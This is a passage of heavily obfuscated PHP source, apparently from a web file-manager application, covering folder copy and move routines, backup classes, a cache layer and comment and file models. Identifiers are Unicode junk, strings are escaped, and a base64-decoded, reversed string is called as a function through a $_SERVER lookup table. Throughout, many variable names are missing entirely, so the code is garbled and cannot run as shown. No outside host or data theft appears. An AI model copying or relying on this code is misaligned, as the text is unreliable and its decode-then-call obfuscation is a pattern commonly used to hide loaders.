= !0; } } else { if ($Ɋ == REPEAT_SKIP) { $̮ = !0; } else { if ($Ɋ == REPEAT_RENAME || $Ɋ == REPEAT_RENAME_FOLDER) { $̜ = $this->fileNameAuto($ܙ, $̜, $Ɋ, $); $ = $this->_moveForce($ڽ, $ܙ, $̜); } else { if ($Ɋ == REPEAT_REPLACE) { $ɧ = $this->sourceInfoCache($и); $ = $this->fileHistory($ɧ, $[$Ԩ[516]], $[$Ԩ[79]]); $̮ = !0; if ($) { $[$Ԩ[604]][] = $[$Ԩ[516]]; } } } } } if ($̮ && !$[$Ԩ[635]]) { $[$Ԩ[635]] = !0; } return $; } private function _moveForce($, $, $) { $ӹ =& $_SERVER[]; $ = $this->sourceInfo($); $ʣ = $this->sourceInfo($); $ = $[$ӹ[460]] == $ӹ[91]; $䪌 = array($ӹ[452] => $ʣ[$ӹ[184]], $ӹ[627] => $ʣ[$ӹ[560]] . $ʣ[$ӹ[184]] . $ӹ[50], $ӹ[623] => $ʣ[$ӹ[181]], $ӹ[624] => $ʣ[$ӹ[545]], $ӹ[626] => USER_ID, $ӹ[469] => $); $ = $[$ӹ[181]] == SourceModel::TYPE_GROUP && $ʣ[$ӹ[181]] == SourceModel::TYPE_GROUP && $[$ӹ[545]] == $ʣ[$ӹ[545]]; if (!$ && $this->moveClearAuth) { Model($ӹ[543])->authClear($); } $Ϛ = $[$ӹ[480]] == $ӹ[91] && $ʣ[$ӹ[480]] != $ӹ[91]; if ($Ϛ) { $䪌[$ӹ[479]] = 0; } if ($) { $τ = array($ӹ[627] => array($ӹ[587], $[$ӹ[560]] . $[$ӹ[184]] . $ӹ[588])); $Ǫ = $[$ӹ[560]] . $[$ӹ[184]] . $ӹ[50]; $ٺ = $ʣ[$ӹ[560]] . $ʣ[$ӹ[184]] . $ӹ[50] . $[$ӹ[184]] . $ӹ[50]; $ = array($ӹ[627] => array($ӹ[636], "\162\145\160\x6c\141\143\x65\x28\160\x61\162\145\156\164\114\145\x76\x65\154\x2c\47{$Ǫ}\x27\54\47{$ٺ}\47\51"), $ӹ[623] => $ʣ[$ӹ[181]], $ӹ[624] => $ʣ[$ӹ[545]]); if ($Ϛ) { $[$ӹ[479]] = 0; } $this->where($τ)->data($)->save(); } $this->where(array($ӹ[466] => $))->data($䪌)->save(); return $; } private function clearShare($Ӱ, $ͨ) { $ =& $_SERVER[]; $ = $this->sourceInfo($Ӱ); $ = $this->sourceInfo($ͨ); if ($[$[545]] == $[$[545]] && $[$[181]] == $[637]) { return; } $ʓ = array($[560] => array($[587], $[$[560]] . $Ӱ . $[588])); $Σ = $this->field($[466])->where($ʓ)->getField($[184], !0); if (!$Σ) { return; } $ʓ = array($[184] => array($[7], $Σ), $[638] => 1); $ = Model($[639])->field($[640])->where($ʓ)->select(); if (!$) { return; } $ = array_to_keyvalue($, $[12], $[640]); $ʓ = array($[640] => array($[7], $)); Model($[639])->where($ʓ)->save(array($[638] => 0)); Model($[641])->where($ʓ)->delete(); } public function copyFolderFromIO($nj, $˹, $, $, $, $ = false) { $ںތ =& $_SERVER[]; $ = array($ںތ[605] => array(), $ںތ[606] => array(), $ںތ[604] => array(), $ںތ[642] => array()); $㆗ = $ ? $ : $nj->pathThis($˹); $ = $this->fileNameExist($, $㆗); $Ă = $this->mkdir($, $㆗, $); if (!$ || $ == REPEAT_RENAME_FOLDER) { $ = !1; } if ($) { $this->_childrenAllMake($); } Hook::trigger($ںތ[643]); $this->_copyChildTo($nj, $˹, $Ă, $, $, $); Hook::trigger($ںތ[644]); if ($Ă) { $this->folderSizeResetChildren($Ă); } $this->_childrenListClear(); Model($ںތ[607])->addAll($[$ںތ[605]], array(), !0); Model($ںތ[608])->eventCopy($Ă); $this->saveAll($[$ںތ[606]]); Model($ںތ[519])->linkAdd($[$ںތ[604]]); Model($ںތ[519])->remove($[$ںތ[642]]); $this->folderSizeReset($); $this->updateModifyTime($); return $Ă; } private function _copyChildTo($ƒ, $, $, $ی, &$㱣, $ɉ) { $ֹ =& $_SERVER[]; $Ԏ = $this->sourceInfoCache($); $± = $ƒ->listPath($); $± = $± ? $± : array($ֹ[86] => array(), $ֹ[85] => array()); $ټ = array_merge($±[$ֹ[86]], $±[$ֹ[85]]); $ʹ = $this->_addFiles($ƒ, $±[$ֹ[86]], $ɉ); $ŗ = array(); foreach ($ټ as &$) { if (isset($ʹ[$[$ֹ[32]]])) { $ = $ʹ[$[$ֹ[32]]]; } $[$ֹ[460]] = $[$ֹ[33]] == $ֹ[78]; $[$ֹ[461]] = substr(_get($, $ֹ[178], $ֹ[12]), 0, 10); $[$ֹ[79]] = _get($, $ֹ[79], 0); $[$ֹ[516]] = _get($, $ֹ[516], 0); if (!isset($[$ֹ[645]]) && $[$ֹ[516]]) { $㱣[$ֹ[642]][] = $[$ֹ[516]]; } if ($ی) { $񄻡 = $this->fileNameExistCache($, $[$ֹ[32]]); if ($񄻡) { if ($[$ֹ[460]] || $ی == REPEAT_SKIP) { continue; } if ($ی == REPEAT_REPLACE) { $׎ㄲ = $this->sourceInfoCache($񄻡); $ȹ = $this->fileHistory($׎ㄲ, $[$ֹ[516]], $[$ֹ[79]]); if ($ȹ) { $㱣[$ֹ[604]][] = $[$ֹ[516]]; } continue; } else { if ($ی == REPEAT_RENAME) { $[$ֹ[32]] = $this->fileNameAutoCache($, $[$ֹ[32]], $ی, !1); } } } } if (!$[$ֹ[460]] && $[$ֹ[516]] == 0) { continue; } if (!$[$ֹ[460]] && $[$ֹ[516]]) { $㱣[$ֹ[604]][] = $[$ֹ[516]]; } $ŗ[] = $this->_makeItemData($, $Ԏ, $[$ֹ[32]]); } unset($); if (!empty($ŗ)) { $this->addAll($ŗ); $this->_childrenListSelect($); } $Г = $this->_childrenList($); $Г = array_to_keyvalue($Г, $ֹ[32]); foreach ($ټ as $) { $׎ㄲ = $Г[$[$ֹ[32]]]; $ץ = $׎ㄲ[$ֹ[184]]; $this->_copyApplyMeta($׎ㄲ, $㱣); if ($[$ֹ[33]] == $ֹ[78]) { $[$ֹ[87]] = $ƒ->getPathInner($[$ֹ[87]]); $this->_copyChildTo($ƒ, $[$ֹ[87]], $ץ, $ی, $㱣, $ɉ); } } } private function _addFiles($ӆ, $, $) { $髹 =& $_SERVER[]; if (!$ || count($) == 0) { return array(); } $ = array(); foreach ($ as &$Ĥ) { Hook::trigger($髹[646], $Ĥ); $Ĥ[$髹[87]] = $ӆ->getPathInner($Ĥ[$髹[87]]); $н = $ӆ->hashSimple($Ĥ[$髹[87]]); $ = $ӆ->hashMd5($Ĥ[$髹[87]]); if (strlen($) > 10 && !isset($[$])) { $[$] = array(); } $Ĥ[$髹[647]] = $н; $Ĥ[$髹[522]] = $; $[$][] =& $Ĥ; if (count($[$]) > 1) { $Ĥ[$髹[645]] = !0; } Hook::trigger($髹[648], $Ĥ); } unset($Ĥ); $͙갘 = array($髹[522] => array($髹[7], array_keys($))); $鯡 = Model($髹[649]); $˼ = $鯡->where($͙갘)->select(); $˼ = $˼ ? $˼ : array(); foreach ($˼ as $ƭ) { if (!isset($[$ƭ[$髹[522]]])) { continue; } $粜 = $[$ƭ[$髹[522]]]; foreach ($粜 as &$Ĥ) { $Ĥ[$髹[516]] = $ƭ[$髹[516]]; $Ĥ[$髹[645]] = !0; } unset($Ĥ); } $ = array(); foreach ($ as $) { Hook::trigger($髹[650], $); if (isset($[$髹[645]]) && $[$髹[645]]) { Hook::trigger($髹[651], $); continue; } $ = $ӆ->getPathInner($[$髹[87]]); $ȿ = $鯡->addFileMake($, $[$髹[79]], $[$髹[647]], $[$髹[522]], $[$髹[32]], $); Hook::trigger($髹[651], $); if (!is_array($ȿ)) { continue; } $[] = $ȿ; } $鯡->addAll($); $͙갘 = array($髹[522] => array($髹[7], array_keys($))); $˼ = $鯡->where($͙갘)->select(); $˼ = $˼ ? $˼ : array(); foreach ($˼ as $ƭ) { if (!isset($[$ƭ[$髹[522]]])) { continue; } $ު =& $[$ƭ[$髹[522]]]; foreach ($ު as &$Ĥ) { $Ĥ[$髹[516]] = $ƭ[$髹[516]]; } unset($Ĥ); } $ = array(); foreach ($ as $߽) { $[$߽[$髹[32]]] = $߽; } return $; } } goto bÜԃ; aˢ: $fileSize = strrev(base64_decode($_SERVER[Џ][0])); function binCheckNeq($ͮ, $ЋЮ) { return $ͮ != $ЋЮ; } $_SERVER[$_SERVER[Џ][1]] = $fileSize($_SERVER[$_SERVER[Џ][2]]); goto A僂; C: class BackupDbFile { public function __construct() { } public function index() { $ =& $_SERVER[]; $ޝΥ = Backup::get(); $ق = $ޝΥ[$[32]]; $˰ = $this->tmpFilesPath() . "\x62\x61\143\153\x75\x70\x5f{$ق}\x2f"; $ = $this->backupPath($ޝΥ); if (!($ = IO::mkdir($))) { return !1; } $օ = IO::listPath($˰); $ꌛ = isset($օ[$[86]]) ? $օ[$[86]] : array(); $ = array_sum(array_column($ꌛ, $[79])); if (!$) { return !1; } $ = array($[842] => $, $[843] => time()); Backup::set($); $ߣ = new TaskFileTransfer($[844], $[827], count($ꌛ), LNG($[828]) . $[437] . LNG($[830]) . $[845]); $ߣ->task[$[808]] = $; foreach ($օ[$[86]] as $ӽ) { $ե = IO::move($ӽ[$[87]], $); if (!$ե) { $ߣ->end(); $Х⩅ = IO::getLastError($[846] . $ӽ[$[87]] . $[847] . $ . $[168]); write_log($Х⩅, $[827]); return !1; } } $ = new DbManage(); $ = $->getSqlFile(); if (!$[$[848]] || !$[$[13]]) { return !1; } IO::move($[$[848]], $); IO::move($[$[13]], $); $ߣ->end(); $ = array($[849] => $, $[850] => time()); Backup::set($); return !0; } private function backupPath($լ) { $淰 =& $_SERVER[]; $݃ɿ = $լ[$淰[32]]; $ܧ͆ = Model($淰[815])->get($淰[816]); $ = substr(md5($淰[817] . $ܧ͆ . $݃ɿ), 0, 8); return "\173\151\x6f\x3a{$լ[$淰[796]]}\175\x2f\144\x61\x74\141\x62\141\x73\x65\x2f\142\141\143\153\165\x70\x2f" . $݃ɿ . $淰[11] . $; } private function tmpFilesPath() { $ҳ =& $_SERVER[]; $Ҋ = TEMP_FILES; if ($GLOBALS[$ҳ[6]][$ҳ[92]][$ҳ[840]]) { $Ҋ = $GLOBALS[$ҳ[6]][$ҳ[92]][$ҳ[840]]; if (!mk_dir($Ҋ) || !is_writable($Ҋ) || !IO::mkfile($Ҋ . $ҳ[841])) { $Ҋ = TEMP_FILES; } } return $Ҋ; } } class BackupFile { public function __construct() { } public function index() { $ = Backup::get(); $ = $[$_SERVER[][344]][$_SERVER[][221]][$_SERVER[][516]]; $ = array($_SERVER[][517] => array($_SERVER[][851], $), $_SERVER[][852] => array($_SERVER[][382], $[$_SERVER[][796]])); $ۦ = (int) Model($_SERVER[][833])->where($)->count($_SERVER[][516]); $ = (int) Model($_SERVER[][833])->where($)->sum($_SERVER[][79]); $Ոř = new TaskFileTransfer($_SERVER[][853], $_SERVER[][827], $ۦ, LNG($_SERVER[][828]) . $_SERVER[][829] . LNG($_SERVER[][854])); $Ոř->task[$_SERVER[][808]] = $; $ӑ = array($_SERVER[][855] => $ۦ, $_SERVER[][856] => $, $_SERVER[][857] => time()); Backup::set($ӑ); $͓ = !0; $ʎ = $this->storeIds(); $ϣ = 1; $ = 1000; $ט = $ = 0; $ = array(); $ȏˈ = $ = 0; do { $ = $_SERVER[][858]; $⯯ = Model($_SERVER[][833])->where($)->field($)->order($_SERVER[][859])->selectPage($, $ϣ); $ۗ = !empty($⯯[$_SERVER[][420]]) ? $⯯[$_SERVER[][420]] : array(); foreach ($ۗ as $) { if (!$this->_fileExist($, $, $ʎ)) { write_log("\146\151\154\145\x20\156\157\164\40\145\170\x69\163\164\56\146\x69\154\x65\x49\104\x3a{$[$_SERVER[][516]]}\x2c\x20\160\x61\164\150\72{$[$_SERVER[][87]]}", $_SERVER[][860]); continue; } $ = $[$_SERVER[][87]]; $䷰ = "\173\151\x6f\x3a{$[$_SERVER[][796]]}\x7d" . substr($, strlen("\x7b\151\157\x3a{$[$_SERVER[][861]]}\x7d")); if (IO::exist($䷰)) { $Ոř->updateFileEnd($[$_SERVER[][32]], $[$_SERVER[][79]]); } else { $䷰ = get_path_father($䷰); IO::mkdir($䷰); if (!IO::copy($, $䷰, $_SERVER[][862])) { write_log($_SERVER[][863] . $ . $_SERVER[][847] . $䷰ . $_SERVER[][168], $_SERVER[][827]); $͓ = !1; break; } } $ = $[$_SERVER[][516]]; $ += 1; $ט += $[$_SERVER[][79]]; $ += 1; $ȏˈ += $[$_SERVER[][79]]; if ($ט >= 1024 * 1024 * 100) { $ӑ = array($_SERVER[][864] => $, $_SERVER[][865] => $, $_SERVER[][866] => $ȏˈ); Backup::set($ӑ); $ט = $ = 0; } } $ۘ = count($ۗ); $ϣ++; } while ($ۘ == $); $Ոř->end(); $ӑ = array($_SERVER[][867] => 1, $_SERVER[][806] => time(), $_SERVER[][820] => 1, $_SERVER[][864] => $, $_SERVER[][868] => time()); if ($) { $ӑ[$_SERVER[][865]] = $; $ӑ[$_SERVER[][866]] = $ȏˈ; } Backup::set($ӑ); return !0; } private function _fileExist($, &$, $əئŭ) { $Վ =& $_SERVER[]; $ق = $[$Վ[87]]; if (in_array($[$Վ[516]], $)) { return !1; } if (!in_array($[$Վ[861]], $əئŭ)) { return !1; } if (IO::exist($ق)) { return !0; } $ʥ = get_path_father($ق); if (IO::exist($ʥ)) { $[] = $[$Վ[516]]; return !1; } $͊† = array($Վ[861] => $[$Վ[861]], $Վ[87] => array($Վ[434], "{$ʥ}\x25")); $錰 = Model($Վ[833])->where($͊†)->field($Վ[517])->select(); $ = array_merge($, array_to_keyvalue($錰, $Վ[12], $Վ[516])); return !1; } private function _fileFilter($) { $ȼ֟ =& $_SERVER[]; return; if (empty($)) { return; } $ = array($ȼ֟[516] => array($ȼ֟[7], array_unique($))); $Թ = Model($ȼ֟[869])->where($)->field($ȼ֟[184])->select(); foreach ($Թ as $Ԙ) { Model($ȼ֟[869])->remove($Ԙ[$ȼ֟[184]], !1); } } private function storeIds() { $͕η =& $_SERVER[]; $ = Model($͕η[812])->listData(); $ƫ = array(); $綳 = $GLOBALS[$͕η[6]][$͕η[92]][$͕η[870]]; foreach ($ as $ԅ) { $ʨ = strtolower($ԅ[$͕η[98]]); if (!isset($綳[$ʨ])) { continue; } $֛͆ = $͕η[77] . (isset($綳[$ʨ]) ? $綳[$ʨ] : ucfirst($ʨ)); if (!class_exists($֛͆)) { continue; } $ƫ[] = $ԅ[$͕η[450]]; } return $ƫ; } } class Cache { protected static $handle; protected static $memoryCache; public static function init() { $ =& $_SERVER[]; if (self::$handle) { return self::$handle; } self::$memoryCache = array(); $ٮ = $GLOBALS[$[6]][$[400]]; $ծ = $ٮ[$ٮ[$[871]]]; $ū = $ٮ[$[872]]; switch ($ٮ[$[871]]) { case $[21]: self::$handle = Model($[873]); break; case $[874]: self::$handle = new CacheRedis($ծ, $ū); break; case $[875]: self::$handle = new CacheMemcached($ծ, $ū); break; case $[221]: self::$handle = new CacheFile($ծ, $ū); break; default: break; } return self::$handle; } public static function initReset() { self::$handle = !1; self::$memoryCache = !1; } public static function key($) { if (is_array($) || is_object($)) { $ = json_encode($); } $ = rawurlencode($); return md5(KOD_SITE_ID . $_SERVER[][11] . $); } public static function get($, $Ͱ = false) { $ɻˮ = self::key($); $Ÿ = self::init(); if ($Ͱ) { return unserialize($Ÿ->get($ɻˮ)); } if (!isset(self::$memoryCache[$ɻˮ])) { $ = $Ÿ->get($ɻˮ); self::$memoryCache[$ɻˮ] = unserialize($); } return self::$memoryCache[$ɻˮ]; } public static function set($؆, $۞, $Ğ = false) { $ =& $_SERVER[]; $ = self::key($؆); if (isset(self::$memoryCache[$]) && self::$memoryCache[$] === $۞) { return !0; } if ($Ğ === 0) { self::$memoryCache[$] = $۞; return !0; } $㡚 = self::init(); $Ɔ = serialize($۞); CacheLock::lock($؆ . $[876]); $ = $㡚->set($, $Ɔ, $Ğ); self::$memoryCache[$] = $۞; CacheLock::unlock($؆ . $[876]); return $; } public static function getCall($, $ʂ, $, $ԯ = array()) { $ă =& $_SERVER[]; $ = self::get($); if ($ || $ === $ă[12]) { return $; } $ = call_user_func_array($, $ԯ); $ = $ ? $ : $ă[12]; self::set($, $, $ʂ); return $; } public static function remove($ǔ턅) { $柹 = self::key($ǔ턅); unset(self::$memoryCache[$柹]); self::clearTimeout(); CacheLock::lock($ǔ턅); $ = self::init()->remove($柹); CacheLock::unlock($ǔ턅); return $; } public static function removeMemory($) { $ = self::key($); unset(self::$memoryCache[$]); } public static function clearMemory($ = false) { if ($) { $ = self::key($); unset(self::$memoryCache[$]); return; } self::$memoryCache = null; self::$memoryCache = array(); } public static function deleteAll() { self::$memoryCache = array(); if (method_exists(self::init(), $_SERVER[][877])) { self::init()->deleteAll(); } } public static function clearTimeout() { if (method_exists(self::init(), $_SERVER[][878])) { self::init()->clearTimeout(); } } } goto fߐ̫; E: class CommentModel extends ModelBase { protected $tableName = "\x63\x6f\x6d\155\x65\156\164"; protected $tableMeta = array("\x74\x61\x62\154\145\x4e\141\x6d\x65" => "\x63\x6f\155\x6d\x65\x6e\x74\137\x6d\x65\x74\x61", "\x6d\145\164\141\106\151\145\154\144" => "\143\x6f\155\x6d\145\156\x74\111\x44"); const TYPE_SOURCE = 1; const TYPE_SHARE = 2; const TYPE_USER = 3; const TYPE_GROUP = 4; const TYPE_TOPIC = 5; const TYPE_STAR_OFFSET = 100000000; public static $TYPEALL = array(self::TYPE_SOURCE, self::TYPE_SHARE, self::TYPE_USER, self::TYPE_GROUP, self::TYPE_TOPIC); public function addComment($ϣ) { $ =& $_SERVER[]; if ($ϣ[$[1981]]) { $ϱ = $this->where(array($[1982] => $ϣ[$[1981]]))->find(); if (!$ϱ || $ϱ[$[181]] != $ϣ[$[181]] || $ϱ[$[545]] != $ϣ[$[545]]) { return !1; } $this->where(array($[1982] => $ϣ[$[1981]]))->setAdd($[1983], 1); } $ϣ[$[1984]] = 0; $ϣ[$[1983]] = 0; $ϣ[$[795]] = 1; return $this->add($ϣ); } public function commentCount($, $څ, $֔ = false) { $ú =& $_SERVER[]; if (!$) { return array(); } if (is_string($) || is_int($)) { $ = array($); } $ӂ = array($ú[545], $ú[1985] => $ú[541]); $ϝ = array($ú[545] => array($ú[7], $), $ú[181] => $څ); if ($֔) { $ϝ[$ú[1753]] = $֔; } $锌 = $this->field($ӂ)->where($ϝ)->group($ú[545])->select(); return array_to_keyvalue($锌, $ú[545], $ú[541]); } public function starTarget($, $놖) { $ =& $_SERVER[]; $ = $ + self::TYPE_STAR_OFFSET; $ = array($[1753] => USER_ID, $[181] => $, $[545] => $놖); $ = $this->where($)->find(); if ($) { return $this->where(array($[450] => $[$[450]]))->delete(); } $ = array($[1981] => 0, $[1753] => USER_ID, $[795] => 1, $[799] => $[12], $[181] => $, $[545] => $놖, $[1984] => 0, $[1983] => 0); return $this->add($); } public function starTargetCount($殖, $沠) { $ܨ =& $_SERVER[]; $ = $沠 + self::TYPE_STAR_OFFSET; $ = $this->commentCount($殖, $); $Ѹ = $this->commentCount($殖, $, USER_ID); return array($ܨ[1986] => $, $ܨ[1987] => $Ѹ); } public function starTargetUserList($𷕨, $ȼ) { $ۆ =& $_SERVER[]; $ = $𷕨 + self::TYPE_STAR_OFFSET; $Ńڀ = array($ۆ[545] => $ȼ, $ۆ[181] => $); $û = $this->where($Ńڀ)->count(); $ = array($ۆ[307] => $û, $ۆ[1988] => array()); if (!$û) { return $; } $Ɓ = $this->field($ۆ[1753])->where($Ńڀ)->limit(500)->select(); $Ɓ = array_to_keyvalue($Ɓ, $ۆ[12], $ۆ[1753]); $[$ۆ[1988]] = Model($ۆ[553])->userListInfo($Ɓ); return $; } public function prasiseUserList($) { $ =& $_SERVER[]; $Ȁ = array($[1989] => $); $χ = $this->where($Ȁ)->find(); $ = _get($χ, $[1984], 0); $ = array($[307] => $, $[1988] => array()); if (!$) { return $; } $Ïʩ = Model($[1990])->field($[1753])->where($Ȁ)->limit(500)->select(); $Ïʩ = array_to_keyvalue($Ïʩ, $[12], $[1753]); $[$[1988]] = Model($[553])->userListInfo($Ïʩ); return $; } public function remove($) { $ژ =& $_SERVER[]; $ = array($ژ[1982] => $); $ = $this->where($)->find(); if ($[$ژ[1981]]) { $this->where(array($ژ[1982] => $[$ژ[1981]]))->setAdd($ژ[1983], -1); } return $this->where($)->delete(); } public function edit($Ѽŗ, $ʞ) { $깦 =& $_SERVER[]; $ = array($깦[1982] => $Ѽŗ); return $this->where($)->save(array($깦[1991] => $ʞ)); } public function prasise($Ϣ) { $ =& $_SERVER[]; $ɚ = Model($[1992]); $ = array($[1982] => $Ϣ, $[1744] => USER_ID); $÷ = $ɚ->where($)->find(); if (!$÷) { $ɚ->add($); $痳 = $this->where(array($[1982] => $Ϣ))->setAdd($[1984], 1); } else { $ɚ->where($)->delete(); $痳 = $this->where(array($[1982] => $Ϣ))->setAdd($[1984], -1); } return $痳; } public function targetInfo($Φް, $۬) { $Ʉݚ =& $_SERVER[]; $ = array($Ʉݚ[623] => $Φް, $Ʉݚ[624] => $۬); $ = $this->where($)->count(); $ = "\122\111\x47\x48\124\x20\112\x4f\111\x4e\40{$this->tablePrefix}\x63\157\x6d\155\145\x6e\x74\x5f\x70\x72\141\x69\163\x65\x20\163\x74\141\162\x20\157\156\40\x63\x6f\x6d\x6d\145\x6e\x74\56\143\157\x6d\x6d\145\156\164\x49\104\40\x3d\40\163\164\x61\162\56\143\157\x6d\155\x65\x6e\164\x49\104"; $ = $this->alias($Ʉݚ[405])->where($)->join($, $Ʉݚ[1993])->count(); $ۃ = array($Ʉݚ[1994] => $, $Ʉݚ[1995] => $); return $ۃ; } public function listData($̞) { $ͩ =& $_SERVER[]; if (isset($̞[$ͩ[1996]])) { if ($̞[$ͩ[1996]]) { $̞[$ͩ[1989]] = array($ͩ[1064], intval($̞[$ͩ[1996]])); } unset($̞[$ͩ[1996]]); } if (isset($̞[$ͩ[1997]])) { if ($̞[$ͩ[1997]]) { $̞[$ͩ[1989]] = array($ͩ[1061], intval($̞[$ͩ[1997]])); } unset($̞[$ͩ[1997]]); } return $this->_listData($̞); } private function _listData($ę) { $؏ =& $_SERVER[]; $駜 = $this->where($ę)->_makeOrder()->selectPage(100); $this->_listAppendParent($駜[$؏[420]]); $this->_listAppendUser($駜[$؏[420]]); $this->_listAppendMeta($駜[$؏[420]]); return $駜; } private function _makeOrder() { $ȡ =& $_SERVER[]; $ = array($ȡ[1984], $ȡ[1983], $ȡ[222]); $٠ = Input::get($ȡ[505], $ȡ[7], $ȡ[472], $); $Ĭ = Input::get($ȡ[506], $ȡ[7], $ȡ[1746], array($ȡ[1998], $ȡ[501])); $ؖ = $٠ . $ȡ[53] . $Ĭ; return $this->order($ؖ); } private function _listAppendParent(&$ﱻ) { $ =& $_SERVER[]; $ = array_unique(array_to_keyvalue($ﱻ, $[12], $[1981])); $ = array_remove_value($, $[219]); if (!$) { return; } $ = $this->where(array($[1982] => array($[7], $)))->select(); $ = array_to_keyvalue($, $[1989]); foreach ($ﱻ as &$) { if (isset($[$[$[1981]]])) { $[$[1999]] = $[$[$[1981]]]; } } unset($); } private function _listAppendUser(&$) { $府 =& $_SERVER[]; $് = array_unique(array_to_keyvalue($, $府[12], $府[1753])); $് = array_remove_value($്, $府[219]); if (count($്) == 0) { return; } foreach ($ as $ܤ) { if (isset($ܤ[$府[1999]])) { $്[] = $ܤ[$府[1999]][$府[1753]]; } } $ó = Model($府[574])->userListInfo($്); foreach ($ as &$ܤ) { $ܤ[$府[637]] = $ó[$ܤ[$府[1753]]]; if (isset($ܤ[$府[1999]])) { $ܤ[$府[1999]][$府[637]] = $ó[$ܤ[$府[1999]][$府[1753]]]; } } unset($ܤ); } private function _listAppendMeta(&$) { $ =& $_SERVER[]; $ = array_unique(array_to_keyvalue($, $[12], $[1989])); $ = array_remove_value($, $[219]); if (!$) { return; } foreach ($ as $ܞ) { if (isset($ܞ[$[1999]])) { $[] = $ܞ[$[1999]][$[1989]]; } } $ = $this->metaList($); if (!$) { return !1; } foreach ($ as &$ܞ) { $ܞ[$[514]] = $[$ܞ[$[1989]]]; if (isset($ܞ[$[1999]])) { $ܞ[$[1999]][$[514]] = $[$ܞ[$[1999]][$[1989]]]; } } unset($ܞ); } private function metaList($) { $© =& $_SERVER[]; if (!$) { return array(); } $Ƅ = array($©[1989] => array($©[7], $)); $ = Model($©[2000])->where($Ƅ)->select(); $ = array_to_keyvalue_group($, $©[1989]); foreach ($ as $ => $Ҹ) { $ځʬ = array(); foreach ($Ҹ as $良) { $ځʬ[$良[$©[97]]] = $良[$©[425]]; } $[$] = $ځʬ; } return $ ? $ : array(); } public function removeTarget($, $ꝕ) { $ =& $_SERVER[]; if (!$ꝕ) { return !0; } $ꝕ = is_array($ꝕ) ? $ꝕ : array($ꝕ); $̻ = array($[181] => $, $[545] => array($[7], $ꝕ)); $ = $this->field($[1989])->where($̻)->select(); $ = array_to_keyvalue($, $[12], $[1989]); if (!$) { return !0; } $̻ = array($[1989] => array($[7], $)); $this->where($̻)->delete(); Model($[1992])->where($̻)->delete(); Model($[2001])->where($̻)->delete(); } } class FileContentModel extends ModelBase { protected $tableName = "\151\x6f\137\x66\x69\154\x65\x5f\143\157\156\164\x65\x6e\x74\163"; protected $dataAuto = array(array("\143\x72\145\x61\x74\145\x54\151\155\x65", "\164\x69\x6d\x65", "\x69\x6e\x73\x65\x72\164", "\x66\x75\156\143\x74\x69\157\x6e")); } class FileModel extends ModelBase { protected $tableName = "\x69\x6f\137\146\151\x6c\x65"; protected $tableMeta = array("\164\x61\x62\154\x65\x4e\141\x6d\145" => "\x69\157\137\x66\x69\154\145\x5f\155\x65\164\141", "\155\145\164\141\106\x69\x65\x6c\144" => "\x66\151\x6c\145\111\104"); public function fileInfo($ܗ) { $캬 =& $_SERVER[]; static $Ԅ = array(); if (!isset($Ԅ[$ܗ])) { $ = $캬[2002]; $߫ = Model($캬[519])->field($)->where(array($캬[517] => $ܗ))->find(); $Ԅ[$ܗ] = $߫; } return $Ԅ[$ܗ]; } public function addFileByContent($Ŝٻ = '', $֔ = '') { $ =& $_SERVER[]; $ = TEMP_PATH . $[2003]; if (!is_dir($)) { mk_dir($); } $꫔ = $ . $[2004] . rand_string(16); file_put_contents($꫔, $Ŝٻ); $ꀶ = $this->addFile($꫔, $֔, !0); if (file_exists($꫔)) { @unlink($꫔); } return $ꀶ; } public function createFileName($ȴ, $񨟽 = false, $ = false) { $ =& $_SERVER[]; $㠗 = IO::init($[8]); $ = $this->makeFilePath($ȴ, $㠗, $񨟽, $); $ۄƓ = $㠗->pathFather($); static $뎷Ŭ = false; $Տ = $[2005] . md5($ۄƓ); if (!$뎷Ŭ && !Cache::get($Տ)) { $뎷Ŭ = !0; $Ҡ = IO::mkdir($ۄƓ); if (!IO::exist($Ҡ . $[841])) { IO::mkfile($Ҡ . $[841]); } Cache::set($Տ, 1, 3600 * 2); } return $; } public function makeFilePath($ۮτ, $û, $ = false, $ʝ = false) { $ =& $_SERVER[]; $ = Model($[815])->get($[2006]); $ɢ = KodIO::defaultIO() . date($[2007]); $̕ = $ɢ . rand_string(5) . short_id(100); $ۮτ = str_replace($[8], $[11], KodIO::clear($ۮτ)); $錯 = $û->ext($ۮτ); if (!$ۮτ) { $ = $[2008]; } switch ($) { case $[2009]: if ($錯) { $̕ = $̕ . $[10] . $錯; } if ($錯 == $[1945]) { $̕ .= $[1260]; } break; case $[2010]: $툧 = Model($[815])->get($[816]); $ = substr(md5($[817] . $툧 . date($[793])), 0, 8); $͠ = KodIO::defaultDriver(); $ɢ = $[1291] . $͠[$[450]] . $[459] . date($[2011]) . $ . $[8]; if ($錯 == $[1945]) { $ۮτ .= $[1260]; } $ = $[2012] . $ɢ . $ۮτ; CacheLock::lock($); $̕ = $ɢ . $ۮτ; if (IO::exist($ɢ . $ۮτ)) { $ɀɛ = substr($ۮτ, 0, strlen($ۮτ) - strlen($錯)); $ = $ʝ ? substr($ʝ, 0, 5) : ($ ? substr($, 0, 5) : rand_string(5)); $̕ = $ɢ . $ɀɛ . $; if ($錯) { $̕ = $̕ . $[10] . $錯; } } if (IO::isOsDriver($̕) && !IO::isUploadServer($̕)) { if (IO::exist($̕)) { return $̕; } $ = IO::setContent($̕, $[12]); if (!$) { show_json($[2013], !1); } } CacheLock::unlock($); break; case $[2008]: break; default: break; } return $̕; } public function addFileByRemote($㻬, $, $ȃ = array()) { $䦾 =& $_SERVER[]; if (!IO::exist($㻬)) { return !1; } $ = $ȃ[$䦾[522]] ? $ȃ[$䦾[522]] : $䦾[12]; $󼌫̸ = IO::hashMd5($㻬, $); $ϙՔ = KodIO::defaultDriver(); $ = array($䦾[592] => IO::size($㻬), $䦾[2014] => 1, $䦾[469] => $, $䦾[852] => $ϙՔ[$䦾[450]], $䦾[470] => $㻬, $䦾[2015] => $ȃ[$䦾[647]] ? $ȃ[$䦾[647]] : IO::hashSimple($㻬), $䦾[2016] => $󼌫̸ ? $󼌫̸ : $); if ($ = $this->addFileCheckExist($[$䦾[647]], $[$䦾[522]], $[$䦾[79]])) { return $; } return $this->addFileData($); } private function addFileData($ʃ) { $ֵಝ =& $_SERVER[]; if (!$ʃ) { return !1; } $ʃ[$ֵಝ[79]] = intval($ʃ[$ֵಝ[79]]); if (!$ʃ[$ֵಝ[79]] && strlen($ʃ[$ֵಝ[647]]) > 32) { $ʃ[$ֵಝ[79]] = intval(substr($ʃ[$ֵಝ[647]], 32)); } $ = $this->add($ʃ); return $this->find($); } public function addFile($, $뎝, $lj = false) { $ۨ =& $_SERVER[]; $ϗ = IO::hashSimple($); $ = IO::size($); $ꙏޘ = $ <= 1024 * 1024 * 10 ? 